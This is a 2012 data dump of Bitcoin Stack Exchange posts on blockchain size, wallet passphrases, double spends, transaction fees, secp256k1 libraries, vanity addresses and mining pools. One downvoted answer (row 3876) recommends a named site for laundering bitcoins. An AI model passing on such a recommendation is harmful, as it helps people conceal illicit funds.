  <row Id="3862" PostTypeId="2" ParentId="3861" CreationDate="2012-05-28T15:59:11.770" Score="3" Body="&lt;p&gt;You Bitcoin wallet doesn't take up too much space, it's the data about the block chain that is taking up all the bandwidth. Bitcoin relies on everyone keeping a copy of the block chain, to prevent any scams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard client uses checkpoints, positions in the block chain, to know which blocks are considered safe and immutable by the developers, meaning they won't be checked as scrumptiously. The newest blocks are validated more thoroughly, to prevent malicious injection of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a bandwidth limit, know that Bitcoin should only do this operation once - you're downloading the whole history of operations on Bitcoins after all. After that the downloads will be more managable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The future Bitcoin clients could be operating as &quot;lite clients&quot;, which will download far less data, but currently only alternative clients support that. It will also be possible that there will be clients developed that will use the Overlay Network, meaning they won't have to download basically anything at all, but again, the standard client does not support that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to operate on Bitcoins without downloading any data, you can try using some &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aEWallets&quot; rel=&quot;nofollow&quot;&gt;eWallets&lt;/a&gt; - they are basically websites that offer to host your Bitcoin needs. Some of them charge a small fee, and if they go down you will lose all of your coins, but on the other hand it provides a lot of flexibility and no need for downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, the standard client does require users to go through a bit of pain at the beginning, but after that it is mostly clear sailing. You can always try using an eWallet, but then you are entrusting the safety of your coins to someone else.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-28T15:59:11.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3863" PostTypeId="2" ParentId="3861" CreationDate="2012-05-28T16:07:11.323" Score="6" Body="&lt;p&gt;My current Bitcoin folder, May 28th 2012, is 2.16 GB. Of which maybe 60MB is data personally to me like my wallet, addresses, logs and transaction history.&#xA;So basicly you will have to download &lt;strong&gt;a little over 2 GB&lt;/strong&gt; for being in sync with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your second question: I think yes. Bitcoin exists out of a long chain with blocks containing all the transactions that were ever made. So the longer Bitcoin lives and the more it is used, the bigger this block chain will grow and the more data every user will have to download before they can use the Bitcoin client safely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;strong&gt;blockchain.info charts the pure blockchain size here: &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/blocks-size&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this growth rate stays the same, bitcoin can get in trouble...&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-08T12:53:30.973" LastActivityDate="2013-04-08T12:53:30.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3864" PostTypeId="1" AcceptedAnswerId="3866" CreationDate="2012-05-29T05:19:14.863" Score="3" ViewCount="691" Body="&lt;p&gt;What are the requirements and limitations of the password that the satoshi bitcoin wallet allows the user to set?&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2012-05-29T10:31:23.227" Title="How complex can my bitcoin wallet encryption key be?" Tags="|client|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3865" PostTypeId="2" ParentId="3614" CreationDate="2012-05-29T09:47:43.813" Score="1" Body="&lt;p&gt;If you dont like bitcoin-otc ( but imho its the best solution ) , you can try &lt;a href=&quot;https://ogrr.com&quot; rel=&quot;nofollow&quot;&gt;https://ogrr.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some trading on the marketplace section of bitcointalk : &#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?board=5.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=5.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But beware, the scammers are many on the forums, only the web of trust system on bitcoin-otc will help you avoid scammers.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2012-05-29T09:47:43.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3866" PostTypeId="2" ParentId="3864" CreationDate="2012-05-29T10:31:23.227" Score="4" Body="&lt;p&gt;The password must be at least 1 character long.  I've not been able to find a maximum length.  I set the passphrase to be a 100,000 character string, and that worked fine.  Missing the last character off the end of the long string didn't work, so the 100,000th character is significant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When first setting a passphrase the satoshi client requests that your passphrase be at least 10 random characters or 8 random words.  But it doesn't attempt to enforce its request.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-29T10:31:23.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3867" PostTypeId="2" ParentId="3861" CreationDate="2012-05-29T11:02:39.693" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; currently requires about 30Mb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that is because it is a lightweight client. It only downloads the transaction headers for the blockchain and keeps only the transactions associated with your particular private keys. As such it can ignore the vast amount of transaction data as being irrelevant. &lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-05-29T11:02:39.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3868" PostTypeId="1" AcceptedAnswerId="3869" CreationDate="2012-05-29T17:05:00.530" Score="6" ViewCount="1184" Body="&lt;p&gt;What does a double spend look like? Can anyone link to an example on &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will invalid half of the double spend simply remain at 0-confirmations, or might it ever reach 1 or 2? Will the standard bitcoind client provide any type of flag for known invalid transactions?&lt;/p&gt;&#xA;" OwnerUserId="1428" LastEditorUserId="323" LastEditDate="2012-05-30T13:53:36.320" LastActivityDate="2012-05-30T13:53:36.320" Title="What does a double spend look like?" Tags="|blockchain|bitcoin-core|bitcoind|attack|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3869" PostTypeId="2" ParentId="3868" CreationDate="2012-05-29T17:17:59.313" Score="6" Body="&lt;p&gt;You won't be able to see a double-spend in the block chain, because it is invalid. You will see one of the transactions included in the chain though. Blockchain.info has a page showing the &lt;a href=&quot;http://blockchain.info/double-spends&quot;&gt;most recent double-spends&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double spend is just two (or more) transactions claiming the same input, so they will look like an ordinary pair of transaction. One of them will get included in a block, the other will eventually be forgotten by the network. A conflicting transaction to the one included in a valid block can never become a part of another block (at least until the first block will become invalidated by a 51% attack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard client will not flag any invalid transactions, but it will reject any transaction that conflicts with a known transaction. It will, however, accept a transaction that is a part of a block, even if it conflicts with a 0-confirmation transaction that you know of.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-29T17:17:59.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3870" PostTypeId="1" CreationDate="2012-05-30T06:38:16.633" Score="6" ViewCount="2199" Body="&lt;p&gt;It seems to be random or up to the miner from what I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to store blocks, one must keep the order of the transactions (in some position column, etc) because regenerating the block for later retrieval requires putting the transactions back in the same order.  Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="5406" LastEditDate="2016-04-01T09:12:04.673" LastActivityDate="2016-04-01T09:12:04.673" Title="What order do transactions appear in a block? Is it up to the miner?" Tags="|transactions|blockchain|block|merkle-tree|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3871" PostTypeId="2" ParentId="3870" CreationDate="2012-05-30T07:25:47.277" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.6.2/src/main.cpp#L1643&quot; rel=&quot;nofollow&quot;&gt;first transaction has to be the miner's reward&lt;/a&gt;.  The other transactions can't be miner rewards.  Transactions have to appear after any transactions upon which they depend.  Other than that the order is up to the miner.  Changing the order of the transactions is one of the things a miner can do to change the block hash once he has tried all possible values of nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what you're referring to with your &quot;regenerating the block for later retrieval&quot;.  As far as I know blocks aren't regenerated.  They're created by a miner, passed around the network, and stored on disk.  There's no need to regenerate them.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-05-30T10:02:00.927" LastActivityDate="2012-05-30T10:02:00.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3872" PostTypeId="1" AcceptedAnswerId="3873" CreationDate="2012-05-30T12:32:37.590" Score="12" ViewCount="3282" Body="&lt;p&gt;I understand that adding a small transaction fee as incentive ensures block generators will include your transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When you have no transaction fee, what is their motivation then?&lt;/li&gt;&#xA;&lt;li&gt;Why do some people include it and some don't?&lt;/li&gt;&#xA;&lt;li&gt;I have read many accounts stating that small transactions are less likely to be included - so is a big (in terms of amount of bitcoin) transaction with no fees more likely to be included, and if so, why?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1432" LastEditorUserId="1432" LastEditDate="2012-05-30T19:55:16.530" LastActivityDate="2013-03-20T13:01:54.063" Title="Why do small transactions without fees ever get processed?" Tags="|transactions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3873" PostTypeId="2" ParentId="3872" CreationDate="2012-05-30T14:07:00.687" Score="9" Body="&lt;p&gt;1) There is no motivation, asides your goodwill, or possibly wanting to support some useful Bitcoin tools, like the &lt;a href=&quot;https://freebitcoins.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Faucet&lt;/a&gt; (transaction fees could eat up a lot of coins there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's a matter of how their pools and clients are set up. Some want to support the community by allowing no-fee transactions to be included in a block (as it costs them nothing), while others want to encourage people to pay fees by only including transactions with fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Technically, it might be less likely to be included if it gets really big in terms of data size (upwards to filling a block), but in most cases &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3414/323&quot;&gt;it won't matter&lt;/a&gt; (at least for now). Amount of Bitcoins sent doesn't really matter at the moment, but &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;transactions on really small amount of coins&lt;/a&gt; can be discriminated against in the future should spamming them become more prevelent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it is encouraged that you pay your dues when sending transactions, as it helps the Bitcoin project grow. If nobody was paying to get their transactions processed, the miners might soon not earn enough to get by (especially with reward halving slowly getting closer), which would result in them stopping their operations and weakening the Bitcoin network. It's not much of a threat yet, but in the future it can become important.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-05-30T18:30:07.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3874" PostTypeId="2" ParentId="3780" CreationDate="2012-05-30T23:18:58.243" Score="3" Body="&lt;p&gt;Basically, Dwolla promised that they would never honor chargebacks. They in fact did and stole dollars back from their bank account after TH gave Bitcoins to the scammers. They lost &lt;em&gt;a lot of money&lt;/em&gt; by this. I believe Dwolla is being sued for 2 million dollars as a result of this.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2012-05-30T23:18:58.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3875" PostTypeId="1" AcceptedAnswerId="3913" CreationDate="2012-05-31T02:21:32.570" Score="8" ViewCount="3294" Body="&lt;p&gt;Which programming languages have some ready libraries that support Bitcoin's ECDSA curve - secp256k1?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2019-09-24T20:20:19.180" Title="Which programming languages support secp256k1?" Tags="|development|address|standard|ecdsa|library|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3876" PostTypeId="2" ParentId="72" CreationDate="2012-05-31T04:12:51.973" Score="-1" Body="&lt;p&gt;There is a website called BitCoinCache.com that lets you launder bitcoins . I think they only charge like a .9 % commission rate too. &lt;/p&gt;&#xA;" OwnerUserId="1433" LastActivityDate="2012-05-31T04:12:51.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3877" PostTypeId="2" ParentId="2035" CreationDate="2012-05-31T06:06:18.300" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/1400#issuecomment-6028443&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/1400#issuecomment-6028443&lt;/a&gt;, Gregory Maxwell explains that blk0001.dat will contain closer to 2GB of blockchain data.  He also explained that a gambling site and a miner with an inefficient payout system are responsible for the fast increase in file size.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2012-05-31T06:06:18.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3878" PostTypeId="2" ParentId="3875" CreationDate="2012-05-31T08:02:38.740" Score="3" Body="&lt;p&gt;&lt;strong&gt;The &lt;a href=&quot;http://www.bouncycastle.org/&quot; rel=&quot;nofollow&quot;&gt;Bouncy Castle&lt;/a&gt; library provides support for all languages on the Java VM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This library (and now a derivative library called &lt;a href=&quot;http://rtyley.github.com/spongycastle/&quot; rel=&quot;nofollow&quot;&gt;Spongy Castle&lt;/a&gt;) is used in the &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitCoinJ&lt;/a&gt; library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bouncy Castle library was unfortunately implemented badly in Android which lead to code conflicts that required complex workarounds. Spongy Castle solved those problems making the Java and Android versions work much more cleanly with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an &lt;a href=&quot;https://bitcointalk.org/?topic=2699.0&quot; rel=&quot;nofollow&quot;&gt;interesting discussion&lt;/a&gt; on the choice of secp256k1 by Satoshi on the forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_JVM_languages&quot; rel=&quot;nofollow&quot;&gt;languages currently supported by the JVM&lt;/a&gt; includes (and I quote):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Java&lt;/li&gt;&#xA;&lt;li&gt;Clojure, a functional Lisp dialect&lt;/li&gt;&#xA;&lt;li&gt;Groovy, a scripting language&lt;/li&gt;&#xA;&lt;li&gt;Scala, an object-oriented and functional programming language&lt;/li&gt;&#xA;&lt;li&gt;JavaFX Script, a scripting language targeting the Rich Internet Application domain (discontinued 2010)&lt;/li&gt;&#xA;&lt;li&gt;JRuby, an implementation of Ruby&lt;/li&gt;&#xA;&lt;li&gt;Jython, an implementation of Python&lt;/li&gt;&#xA;&lt;li&gt;Rhino, an implementation of JavaScript&lt;/li&gt;&#xA;&lt;li&gt;AspectJ, an aspect-oriented extension of Java&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-05-31T08:10:15.610" LastActivityDate="2012-05-31T08:10:15.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3879" PostTypeId="2" ParentId="3853" CreationDate="2012-06-01T03:04:16.757" Score="20" Body="&lt;p&gt;From what it appears, yes, it is possible, and quite simple really to outsource vanity address creation to a third party without risking anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses are created from ECDSA keypairs. Their property is that if you take two private keys and add them together (with appropriate modulo operations), the sum will map to a public key that is the same one as one would obtain by adding the two public keys corresponding to the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that in order to outsource vanity key generation, one can create an ECDSA keypair, store the private key safely, and give out the public key to other people. They would then proceed to generate ECDSA keypairs, summing the generated public keys to the one provided by you, and checking whether they map to the appropriate vanity address. If it does, they need only to give you the appropriate private key, which you then need to add to your secret private key in order to obtain the private key that maps itself to the vanity address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=81865.msg901491#msg901491&quot;&gt;JoelKatz explained it in his post&lt;/a&gt;, and I went ahead and implemented a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569.0&quot;&gt;&quot;vanity pool&quot;&lt;/a&gt; that enables such outsourcing. Moreover, I also created a simple testing suite for playing with &lt;a href=&quot;http://gobittest.appspot.com/Vanity&quot;&gt;combining the ECDSA keypairs&lt;/a&gt;. Currently there are no &quot;split key vanity miners&quot; available, nor any offline solutions for this problem, but they can follow shortly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-01T03:04:16.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3880" PostTypeId="1" CreationDate="2012-06-01T12:22:52.947" Score="5" ViewCount="1082" Body="&lt;p&gt;Bitcoin as a meta currency seems very useful if travelling through multiple places using currencies. I had this very intention for when I travel around asia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best method people have discovered for having the most flexible use of bitcoin when switching back to native currencies in such a manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, keeping fees as low as possible would be excellent.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-11-04T09:10:48.587" Title="Using bitcoin for international travel" Tags="|exchanges|travel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3881" PostTypeId="2" ParentId="3880" CreationDate="2012-06-01T13:10:42.153" Score="5" Body="&lt;p&gt;You should be wary when trying to travel only on Bitcoins, &lt;a href=&quot;http://www.pcmag.com/article2/0,2817,2389277,00.asp&quot; rel=&quot;nofollow&quot;&gt;some people have failed in the past.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the current stage of development, Bitcoin is not ready to be used to finance your local spending across multiple countries, as getting money to and from an exchange takes a long while. Moreover, you can't withdraw money easily this way into a foreign currency, so the model would work like holding all your money in your local bank and using a debit card to withdraw money at an ATM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could potentially have your fellow Bitcoin enthusiasts offer to sell you local cash for Bitcoins on the spot, but that would require a lot of preparation, contacting people, and trusting them to show up on time when you need the cash. Generally, not an ideal situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it can't really be done at the moment. Maybe in a couple years...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;BitInstant has &lt;a href=&quot;http://codinginmysleep.com/6-8-weeks-until-bitcoin-debitcredit-card-says-bitinstant/&quot; rel=&quot;nofollow&quot;&gt;announced&lt;/a&gt; that they will be releasing an international MasterCard funded by Bitcoins in a couple months.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="22" LastEditDate="2012-09-01T01:21:02.267" LastActivityDate="2012-09-01T01:21:02.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3882" PostTypeId="2" ParentId="3875" CreationDate="2012-06-01T13:46:09.410" Score="2" Body="&lt;p&gt;I've modified a library for &lt;a href=&quot;http://golang.org/&quot; rel=&quot;nofollow&quot;&gt;Google Go&lt;/a&gt; to support a few of the Koblitz Curves, including secp256k1. It is available &lt;a href=&quot;https://github.com/ThePiachu/Golang-Koblitz-elliptic-curve-DSA-library&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-01T13:46:09.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3883" PostTypeId="1" AcceptedAnswerId="3884" CreationDate="2012-06-01T16:23:42.897" Score="6" ViewCount="461" Body="&lt;p&gt;I'm interested in building a Bitcoinica replacement and wondered how did they get their pricing information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it from Mt.Gox and was it verifiable, I mean could you have gone to a web site and seen a history of prices and therefore know why your position may have been liquidated ?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2012-06-02T01:16:06.240" Title="How did Bitcoinica get its prices?" Tags="|mtgox|bitcoinica|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3884" PostTypeId="2" ParentId="3883" CreationDate="2012-06-02T00:23:24.650" Score="4" Body="&lt;p&gt;As far as I know: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, Bitcoinica's prices were based on MtGox ticker&lt;/li&gt;&#xA;&lt;li&gt;Using the MtGox price, they had an algorithm to build their spread (you will always buy on bitcoinica at a higher price and sell at a lower price than the reference mtgox price, thats where a broker like bitcoinica makes profits).&lt;/li&gt;&#xA;&lt;li&gt;Yes, Bitcoinica had some charts, where you could see the reference price, and the spread (the graph was called &quot;daily quotes&quot;), so yes you were able to check the price and spread and understand why you had been liquidated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;No guarantee on these answers, I'm not in the Bitcoinica code, this is just how I understand this.&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="323" LastEditDate="2012-06-02T01:16:06.240" LastActivityDate="2012-06-02T01:16:06.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3885" PostTypeId="2" ParentId="3880" CreationDate="2012-06-02T10:47:27.853" Score="2" Body="&lt;p&gt;Bitcoin is different from a Western Union, for instance.  Western Union has 500,000 agents located around the world but each is operating with explicit approval from Western Union.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has no such restriction.  Exchange can technically be performed by any individual working independently.  All that is needed is a supply of cash and a mobile smartphone to run a bitcoin wallet app and to see the current exchange rate.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This activity doesn't occur much yet, but when it does it will likely be found first where travelers and techies are found -- coffee shops, hotels, hostels, hackerspaces, etc.  If any of these accept bitcoin themselves, they might already use the service of a local exchanger to convert their bitcoins back into cash.  These places would know how an in-person exchange could be found or they may offer this service themselves as a courtesy to their customer (just as a hotel might cash a check for a guest.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are directories of local traders, maybe there are enough exchangers already where this approach would be used for at least some of the trip.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/In_Person_Traders&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/In_Person_Traders&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Real_world_shops&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Real_world_shops&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Category:Local&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Category:Local&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-06-03T04:03:53.873" LastActivityDate="2012-06-03T04:03:53.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3886" PostTypeId="1" AcceptedAnswerId="3888" CreationDate="2012-06-03T19:52:41.613" Score="7" ViewCount="14566" Body="&lt;p&gt;I have tried to set up a mining pool with my home computers. I am running &lt;code&gt;bitcoind&lt;/code&gt; on one machine, and the others, also running &lt;code&gt;bitcoind&lt;/code&gt;, were started with &lt;code&gt;--url&lt;/code&gt; and &lt;code&gt;--userpass&lt;/code&gt; to my central &lt;code&gt;bitcoind&lt;/code&gt; server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, are these machines already forming a mining pool? Or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other software should considered for a home mining pool?&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="5406" LastEditDate="2016-03-11T15:01:25.583" LastActivityDate="2016-03-11T15:01:25.583" Title="Mining pool software for home use" Tags="|bitcoind|mining-pools|mining-software|pool-operators|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3887" PostTypeId="2" ParentId="3886" CreationDate="2012-06-03T20:47:37.800" Score="4" Body="&lt;p&gt;From what I understand, you only need one bitcoind instance on one machine, while other ones would only run miners that would connect to the bitcoind machine. Running more bitcoind than that is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the software, you should look into &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; - it allows you to earn smaller amount of Bitcoins more often, meaning you'll get smaller variance. It won't decrease the amount of Bitcoins you earn on average though, meaning it doesn't cost you anything to use.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-03T20:47:37.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3888" PostTypeId="2" ParentId="3886" CreationDate="2012-06-04T01:54:53.983" Score="2" Body="&lt;p&gt;You can create a private mining pool with just bitcoind. All mining software will work with it: just point the mining software at bitcoind's RPC port and use the appropriate RPC username/password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind doesn't know how to do payouts or multi-user authentication, though, so public mining pools require additional software.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-06-04T01:54:53.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3889" PostTypeId="1" CreationDate="2012-06-04T12:44:01.633" Score="3" ViewCount="486" Body="&lt;p&gt;A lot of people doing bitcoin mining participate in pooled mining. When participating in pooled mining the workers perform some mathematical calculation (that I have actually not understood) and are rewarded payouts for their contribute to new block generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the workers, minining in a pool, can find out which bitcoin they are working on? If yes, I think they would be able to see to whome the bitcoin they worked on was transferred later to?&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="5406" LastEditDate="2016-04-17T20:09:24.610" LastActivityDate="2016-04-17T20:09:24.610" Title="Can bitcoins be traced by pool workers?" Tags="|mining-pools|privacy|mining-reward|traceability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3890" PostTypeId="1" CreationDate="2012-06-04T13:05:04.087" Score="3" ViewCount="505" Body="&lt;p&gt;The bitcoin wiki says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All other txCopy outputs aside from the output that is the same as the&#xA;  current input index are set to a blank script and a value of (long)&#xA;  -1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_SINGLE&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_SINGLE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard finding what this means in the C++ client. Does it mean that the outputs, other than the output with the same index as the input being signed for, only have 8 bytes for the value or does it mean they also have another byte for the VarInt set to zero; 9 bytes in total?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1439" LastActivityDate="2014-05-20T21:35:19.180" Title="For SIGHASH_SINGLE do the outputs other than at the input index, have 8 bytes or 9 bytes including a VarInt?" Tags="|transactions|protocol|development|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3891" PostTypeId="2" ParentId="3889" CreationDate="2012-06-04T13:59:07.813" Score="4" Body="&lt;p&gt;When a miner in a pool finds a valid block, the pool receives a reward (currently ~50 BTC) in a special generation transaction in the block. The address receiving the generation reward in a given block is known, and pools publish statistics on which blocks they found (and even if not, the miner who found it can in theory know which blocks he himself found if his mining software keeps a record of it), so the generation rewards can be tracked (to the same extent that any other Bitcoin transaction can be tracked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mathematical operation done when mining is calculating SHA-256 hashes of variants of a block header. You can learn more about mining for example at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is mining?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-06-04T13:59:07.813" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
